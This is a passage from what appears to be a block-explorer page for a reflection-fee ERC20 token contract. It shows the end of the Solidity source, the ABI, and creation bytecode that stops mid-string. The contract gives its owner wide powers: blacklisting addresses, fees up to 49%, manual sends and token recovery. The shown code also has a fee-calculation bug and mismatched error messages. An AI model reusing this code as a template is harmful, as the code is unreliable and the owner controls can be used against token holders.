        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate);
        return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tMarketingLiquidityFee);
    }

    function _getTValues(uint256 tAmount, uint256 taxFee, uint256 marketingLiquidityFee) private pure returns (uint256, uint256, uint256) {
        uint256 tFee = tAmount.mul(taxFee).div(100);
        uint256 tMarketingLiquidityFee = tAmount.mul(marketingLiquidityFee).div(100);
        uint256 tTransferAmount = tAmount.sub(tFee).sub(marketingLiquidityFee);
        return (tTransferAmount, tFee, tMarketingLiquidityFee);
    }

    function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
        uint256 rAmount = tAmount.mul(currentRate);
        uint256 rFee = tFee.mul(currentRate);
        uint256 rTransferAmount = rAmount.sub(rFee);
        return (rAmount, rTransferAmount, rFee);
    }

    function _getRate() private view returns(uint256) {
        (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
        return rSupply.div(tSupply);
    }

    function _getCurrentSupply() private view returns(uint256, uint256) {
        uint256 rSupply = _rTotal;
        uint256 tSupply = _tTotal;
        for (uint256 i = 0; i < _excluded.length; i++) {
            if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
            rSupply = rSupply.sub(_rOwned[_excluded[i]]);
            tSupply = tSupply.sub(_tOwned[_excluded[i]]);
        }
        if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
        return (rSupply, tSupply);
    }

    function _getTaxFee() private view returns(uint256) {
        return _taxFee;
    }

    function _getMaxTxAmount() private view returns(uint256) {
        return _maxTxAmount;
    }

    function _setTaxFee(uint256 taxFee) external onlyOwner() {
        require(taxFee >= 1 && taxFee <= 49, 'taxFee should be in 1 - 49');
        _taxFee = taxFee;
    }

    function _setMarketingFee(uint256 marketingFee) external onlyOwner() {
        require(marketingFee >= 1 && marketingFee <= 49, 'marketingFee should be in 1 - 11');
        _marketingFee = marketingFee;
    }

    function _setLiquidityFee(uint256 liquidityFee) external onlyOwner() {
        require(liquidityFee >= 1 && liquidityFee <= 49, 'liquidityFee should be in 1 - 11');
        _liquidityFee = liquidityFee;
    }

    function _setNumTokensSellToAddToLiquidity(uint256 numTokensSellToAddToLiquidity) external onlyOwner() {
        require(numTokensSellToAddToLiquidity >= 10**9 , 'numTokensSellToAddToLiquidity should be greater than total 1e9');
        _numTokensSellToAddToLiquidity = numTokensSellToAddToLiquidity;
    }

    function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() {
        require(maxTxAmount >= 10**9 , 'maxTxAmount should be greater than total 1e9');
        _maxTxAmount = maxTxAmount;
    }

    function recoverTokens(uint256 tokenAmount) public virtual onlyOwner() {
        _approve(address(this), owner(), tokenAmount);
        _transfer(address(this), owner(), tokenAmount);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"router","type":"address"},{"internalType":"address","name":"factory","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"minTokensBeforeSwap","type":"uint256"}],"name":"MinTokensBeforeSwapUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"uint256","name":"liquidityFee","type":"uint256"}],"name":"_setLiquidityFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"marketingFee","type":"uint256"}],"name":"_setMarketingFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxTxAmount","type":"uint256"}],"name":"_setMaxTxAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"numTokensSellToAddToLiquidity","type":"uint256"}],"name":"_setNumTokensSellToAddToLiquidity","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"taxFee","type":"uint256"}],"name":"_setTaxFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"addBotToBlackList","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"beginSwapAndLiquify","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"deliverFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"excludeFromReward","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"includeInReward","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromReward","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"manualSend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"manualTransfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenAmount","type":"uint256"}],"name":"recoverTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"tAmount","type":"uint256"},{"internalType":"bool","name":"deductTransferFee","type":"bool"}],"name":"reflectionFromToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"removeBotFromBlackList","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"setExcludeFromFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"rAmount","type":"uint256"}],"name":"tokenFromReflection","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapv2Factory","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapv2Router","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526001600a60006101000a81548160ff0219169083151502179055506040518060400160405280600e81526020017f457468657265756d20466f726365000000000000000000000000000000000000815250600f90805190602001906200006c92919062000cb7565b506040518060400160405280600681526020017f45464f524345000000000000000000000000000000000000000000000000000081525060109080519060200190620000ba92919062000cb7565b506009601160006101000a81548160ff021916908360ff1602179055506002601255600160135560016014556012546015556013546016556014546017556000601b60146101000a81548160ff02191690831515021790555069152d02c7e14af6800000601c55670de0b6b3a7640000601d553480156200013a57600080fd5b50604051620050f6380380620050f6833981810160405260408110156200016057600080fd5b81019080805190602001909291908051906020019092919050505060006200018d6200062860201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35081601960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555069152d02c7e14af6800000600e81905550600e5460001981620002cc57fe5b0660001903600b81905550620002fd6103e869152d02c7e14af68000006200063060201b6200300f1790919060201c565b600c8190555069152d02c7e14af680000060046000620003226200062860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550620003706200062860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600e546040518082815260200191505060405180910390a36200043660026000620003ef6200062860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054620006bb60201b60201c565b600360006200044a6200062860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001600760006200049e6200062860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506009620005016200062860201b60201c565b9080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160066000620005776200075060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550505062000d5d565b600033905090565b600080831415620006455760009050620006b5565b60008284029050828482816200065757fe5b0414620006b0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180620050d56021913960400191505060405180910390fd5b809150505b92915050565b6000600b548211156200071a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180620050ab602a913960400191505060405180910390fd5b60006200072c6200077960201b60201c565b9050620007488184620007b360201b620030951790919060201c565b915050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60008060006200078e6200080560201b60201c565b91509150620007ac8183620007b360201b620030951790919060201c565b9250505090565b6000620007fd83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525062000ad660201b60201c565b905092915050565b6000806000600b549050600069152d02c7e14af6800000905060005b60098054905081101562000a80578260026000600984815481106200084257fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411806200092b5750816003600060098481548110620008c357fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b156200094c57600b5469152d02c7e14af68000009450945050505062000ad2565b620009dd60026000600984815481106200096257fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548462000ba160201b620030df1790919060201c565b925062000a706003600060098481548110620009f557fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548362000ba160201b620030df1790919060201c565b9150808060010191505062000821565b5062000aa769152d02c7e14af6800000600b54620007b360201b620030951790919060201c565b82101562000ac957600b5469152d02c7e14af680000093509350505062000ad2565b81819350935050505b9091565b6000808311829062000b86576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101562000b4a57808201518184015260208101905062000b2d565b50505050905090810190601f16801562000b785780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50600083858162000b9357fe5b049050809150509392505050565b600062000beb83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525062000bf360201b60201c565b905092915050565b600083831115829062000ca4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101562000c6857808201518184015260208101905062000c4b565b50505050905090810190601f16801562000c965780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1062000cfa57805160ff191683800117855562000d2b565b8280016001018555821562000d2b579182015b8281111562000d2a57825182559160200191906001019062000d0d565b5b50905062000d3a919062000d3e565b5090565b5b8082111562000d5957600081600090555060010162000d3f565b5090565b61433e8062000d6d6000396000f3fe6080604052600436106102295760003560e01c80635880b873116101235780638da5cb5b116100ab578063a9059cbb1161006f578063a9059cbb14610c19578063af9549e014610c8a578063bcd6d44614610ce7578063cbc740aa14610d22578063dd62ed3e14610d6357610230565b80638da5cb5b14610a5b57806395d89b4114610a9c578063a457c2d714610b2c578063a52fe9bb14610b9d578063a55626cb14610bd857610230565b806377dd50e3116100f257806377dd50e3146108d45780637a997d7e146109255780637ded4d6a1461098c578063880ad0af146109dd57806388f82020146109f457610230565b80635880b873146107cc57806360a6f45a1461080757806370a0823114610858578063715018a6146108bd57610230565b8063313ce567116101b15780634303443d116101755780634303443d1461063b5780634549b0391461068c5780634a74bb02146106e757806352390c02146107145780635342acb41461076557610230565b8063313ce5671461051d5780633685d4191461054b578063373f0a041461059c57806339509351146105b35780633b525e601461062457610230565b80631bbae6e0116101f85780631bbae6e01461038c5780631decaadc146103c757806323b872dd146104025780632d8381191461049357806330599fc5146104e257610230565b806306fdde0314610235578063095ea7b3146102c557806313114a9d1461033657806318160ddd1461036157610230565b3661023057005b600080fd5b34801561024157600080fd5b5061024a610de8565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561028a57808201518184015260208101905061026f565b50505050905090810190601f1680156102b75780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156102d157600080fd5b5061031e600480360360408110156102e857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e8a565b60405180821515815260200191505060405180910390f35b34801561034257600080fd5b5061034b610ea8565b6040518082815260200191505060405180910390f35b34801561036d57600080fd5b50610376610eb2565b6040518082815260200191505060405180910390f35b34801561039857600080fd5b506103c5600480360360208110156103af57600080fd5b8101908080359060200190929190505050610ec4565b005b3480156103d357600080fd5b50610400600480360360208110156103ea57600080fd5b8101908080359060200190929190505050610ff3565b005b34801561040e57600080fd5b5061047b6004803603606081101561042557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611122565b60405180821515815260200191505060405180910390f35b34801561049f57600080fd5b506104cc600480360360208110156104b657600080fd5b81019080803590602001909291905050506111fb565b6040518082815260200191505060405180910390f35b3480156104ee57600080fd5b5061051b6004803603602081101561050557600080fd5b810190808035906020019092919050505061127f565b005b34801561052957600080fd5b5061053261136e565b604051808260ff16815260200191505060405180910390f35b34801561055757600080fd5b5061059a6004803603602081101561056e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611385565b005b3480156105a857600080fd5b506105b161170f565b005b3480156105bf57600080fd5b5061060c600480360360408110156105d657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611831565b60405180821515815260200191505060405180910390f35b34801561063057600080fd5b506106396118e4565b005b34801561064757600080fd5b5061068a6004803603602081101561065e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611a53565b005b34801561069857600080fd5b506106d1600480360360408110156106af57600080fd5b8101908080359060200190929190803515159060200190929190505050611c0f565b6040518082815260200191505060405180910390f35b3480156106f357600080fd5b506106fc611cce565b60405180821515815260200191505060405180910390f35b34801561072057600080fd5b506107636004803603602081101561073757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611ce5565b005b34801561077157600080fd5b506107b46004803603602081101561078857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612098565b60405180821515815260200191505060405180910390f35b3480156107d857600080fd5b50610805600480360360208110156107ef57600080fd5b81019080803590602001909291905050506120ee565b005b34801561081357600080fd5b506108566004803603602081101561082a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612244565b005b34801561086457600080fd5b506108a76004803603602081101561087b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612367565b6040518082815260200191505060405180910390f35b3480156108c957600080fd5b506108d26123b0565b005b3480156108e057600080fd5b50610923600480360360208110156108f757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612597565b005b34801561093157600080fd5b506109746004803603602081101561094857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506126ba565b60405180821515815260200191505060405180910390f35b34801561099857600080fd5b506109db600480360360208110156109af57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612710565b005b3480156109e957600080fd5b506109f2612833565b005b348015610a0057600080fd5b50610a4360048036036020811015610a1757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612959565b60405180821515815260200191505060405180910390f35b348015610a6757600080fd5b50610a706129af565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610aa857600080fd5b50610ab16129d8565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610af1578082015181840152602081019050610ad6565b50505050905090810190601f168015610b1e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b348015610b3857600080fd5b50610b8560048036036040811015610b4f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050612a7a565b60405180821515815260200191505060405180910390f35b348015610ba957600080fd5b50610bd660048036036020811015610bc057600080fd5b8101908080359060200190929190505050612b47565b005b348015610be457600080fd5b50610bed612c9d565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610c2557600080fd5b50610c7260048036036040811015610c3c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050612cc7565b60405180821515815260200191505060405180910390f35b348015610c9657600080fd5b50610ce560048036036040811015610cad57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803515159060200190929190505050612ce5565b005b348015610cf357600080fd5b50610d2060048036036020811015610d0a57600080fd5b8101908080359060200190929190505050612e08565b005b348015610d2e57600080fd5b50610d37612f5e565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610d6f57600080fd5b50610dd260048036036040811015610d8657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612f88565b6040518082815260200191505060405180910390f35b6060600f8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610e805780601f10610e5557610100808354040283529160200191610e80565b820191906000526020600020905b815481529060010190602001808311610e6357829003601f168201915b5050505050905090565b6000610e9e610e97613129565b8484613131565b6001905092915050565b6000600d54905090565b600069152d02c7e14af6800000905090565b610ecc613129565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f8c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b633b9aca00811015610fe9576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602c815260200180614179602c913960400191505060405180910390fd5b80601c8190555050565b610ffb613129565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110bb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b633b9aca00811015611118576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603e815260200180614284603e913960400191505060405180910390fd5b80601d8190555050565b600061112f848484613328565b6111f08461113b613129565b6111eb856040518060600160405280602881526020016141c660289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006111a1613129565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a8a9092919063ffffffff16565b613131565b600190509392505050565b6000600b54821115611258576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180614107602a913960400191505060405180910390fd5b6000611262613b4a565b9050611277818461309590919063ffffffff16565b915050919050565b611287613129565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611347576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b611359306113536129af565b83613131565b61136b306113656129af565b83613328565b50565b6000601160009054906101000a900460ff16905090565b61138d613129565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461144d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600760008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661150c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f4163636f756e7420697320616c7265616479206578636c75646564000000000081525060200191505060405180910390fd5b60005b60098054905081101561170b578173ffffffffffffffffffffffffffffffffffffffff166009828154811061154057fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156116fe5760096001600980549050038154811061159c57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600982815481106115d457fe5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060098054806116c457fe5b6001900381819060005260206000200160006101000a81549073ffffffffffffffffffffffffffffffffffffffff0219169055905561170b565b808060010191505061150f565b5050565b611717613129565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146117d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60011515600a60009054906101000a900460ff1615151415611813576000600a60006101000a81548160ff02191690831515021790555061182f565b6001600a60006101000a81548160ff0219169083151502179055505b565b60006118da61183e613129565b846118d5856005600061184f613129565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613b7590919063ffffffff16565b613131565b6001905092915050565b6118ec613129565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146119ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b611a07600c54600460006119be613129565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613b7590919063ffffffff16565b60046000611a13613129565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550565b611a5b613129565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611b1b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611bb4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806142176024913960400191505060405180910390fd5b6001600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600069152d02c7e14af6800000831115611c91576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f416d6f756e74206d757374206265206c657373207468616e20737570706c790081525060200191505060405180910390fd5b81611cb1576000611ca184613bfd565b5050505050905080915050611cc8565b6000611cbc84613bfd565b50505050915050809150505b92915050565b6000600a60009054906101000a900460ff16905090565b611ced613129565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611dad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611e46576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806142c26022913960400191505060405180910390fd5b600760008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611f06576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f4163636f756e7420697320616c7265616479206578636c75646564000000000081525060200191505060405180910390fd5b6000600260008373